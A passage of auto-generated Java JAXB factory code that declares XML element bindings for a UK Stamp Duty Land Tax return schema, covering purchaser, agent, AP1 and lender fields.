JAXBElement<StringType>(_SDLTSDLT2LTTIndividualOrOrganisation_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IDType", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTIDType(StringType value) { return new JAXBElement<StringType>(_SDLTLTTIDType_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_IDTypeOther", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTIDTypeOther(StringType value) { return new JAXBElement<StringType>(_SDLTLTTIDTypeOther_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_UKCompany", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTUKCompany(StringType value) { return new JAXBElement<StringType>(_SDLTLTTUKCompany_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_CHNumber", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTCHNumber(StringType value) { return new JAXBElement<StringType>(_SDLTLTTCHNumber_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_SameAsFirstYesNo", scope = SDLT.SDLT2 .class) public JAXBElement<BooleanType> createSDLTSDLT2LTTSameAsFirstYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2LTTSameAsFirstYesNo_QNAME, BooleanType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_Phone", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTPhone(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2LTTPhone_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PurchaserDoB", scope = SDLT.SDLT2 .class) public JAXBElement<String> createSDLTSDLT2LTTPurchaserDoB(String value) { return new JAXBElement<String>(_SDLTSDLT2LTTPurchaserDoB_QNAME, String.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PurchaserVATRegNo", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTPurchaserVATRegNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2LTTPurchaserVATRegNo_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PurchaserTaxRef", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTPurchaserTaxRef(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2LTTPurchaserTaxRef_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PurchaserCompanyNumber", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTPurchaserCompanyNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2LTTPurchaserCompanyNumber_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PurchaserPlaceOfIssue", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTPurchaserPlaceOfIssue(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2LTTPurchaserPlaceOfIssue_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PurchaserNINumber", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTPurchaserNINumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2LTTPurchaserNINumber_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PurchaserCorrespondenceToYesNo", scope = SDLT.SDLT2 .class) public JAXBElement<BooleanType> createSDLTSDLT2LTTPurchaserCorrespondenceToYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2LTTPurchaserCorrespondenceToYesNo_QNAME, BooleanType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "LTT_PurchaserEmail", scope = SDLT.SDLT2 .class) public JAXBElement<StringType> createSDLTSDLT2LTTPurchaserEmail(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2LTTPurchaserEmail_QNAME, StringType.class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link SDLT.SDLT2 .AP1 }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link SDLT.SDLT2 .AP1 }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1", scope = SDLT.SDLT2 .class) public JAXBElement<SDLT.SDLT2 .AP1> createSDLTSDLT2AP1(SDLT.SDLT2 .AP1 value) { return new JAXBElement<SDLT.SDLT2 .AP1>(_SDLTAP1_QNAME, SDLT.SDLT2 .AP1 .class, SDLT.SDLT2 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsVendorRepresented", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsVendorRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsVendorRepresented_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorRepresentedBy", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorRepresentedBy_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentName", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentName_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchRepresented", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsPurchRepresented(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchRepresented_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchRepresentedBy", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchRepresentedBy(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchRepresentedBy_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentName", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentName_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchaserService", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsPurchaserService(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchaserService_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceEmail", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServiceEmail(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceEmail_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceHouseNo", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServiceHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceHouseNo_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceHouseNo2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServiceHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceHouseNo2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceAddress1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServiceAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceAddress1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceAddress2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServiceAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceAddress2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceAddress3", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServiceAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceAddress3_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServicePostcode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServicePostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServicePostcode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceDXNumber", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServiceDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceDXNumber_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchaserServiceDXExchange", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchaserServiceDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchaserServiceDXExchange_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentHouseNo", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentHouseNo_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentHouseNo2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentHouseNo2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentAddress1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentAddress1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentAddress2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentAddress2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentAddress3", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentAddress3_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentPostcode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentPostcode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentDXNumber", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentDXNumber_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_VendorAgentDXExchange", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1VendorAgentDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1VendorAgentDXExchange_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentHouseNo", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentHouseNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentHouseNo_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentHouseNo2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentHouseNo2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentHouseNo2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentAddress1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentAddress1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentAddress2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentAddress2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentAddress3", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentAddress3_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentPostcode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentPostcode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentDXNumber", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentDXNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentDXNumber_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchAgentDXExchange", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchAgentDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchAgentDXExchange_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Role1", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1Role1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1Role1_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_Role2", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1Role2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1Role2_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchLender", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<BooleanType> createSDLTSDLT2AP1AP1IsPurchLender(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLT2AP1AP1IsPurchLender_QNAME, BooleanType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderName", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderName_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderMDCode", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<StringType> createSDLTSDLT2AP1AP1PurchLenderMDCode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLT2AP1AP1PurchLenderMDCode_QNAME, StringType.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_PurchLenderChargeDate", scope = SDLT.SDLT2 .AP1 .class) public JAXBElement<String> createSDLTSDLT2AP1AP1PurchLenderChargeDate(String value) { return new JAXBElement<String>(_SDLTSDLT2AP1AP1PurchLenderChargeDate_QNAME, String.class, SDLT.SDLT2 .AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "AP1_IsPurchLenderRepresented", scope = 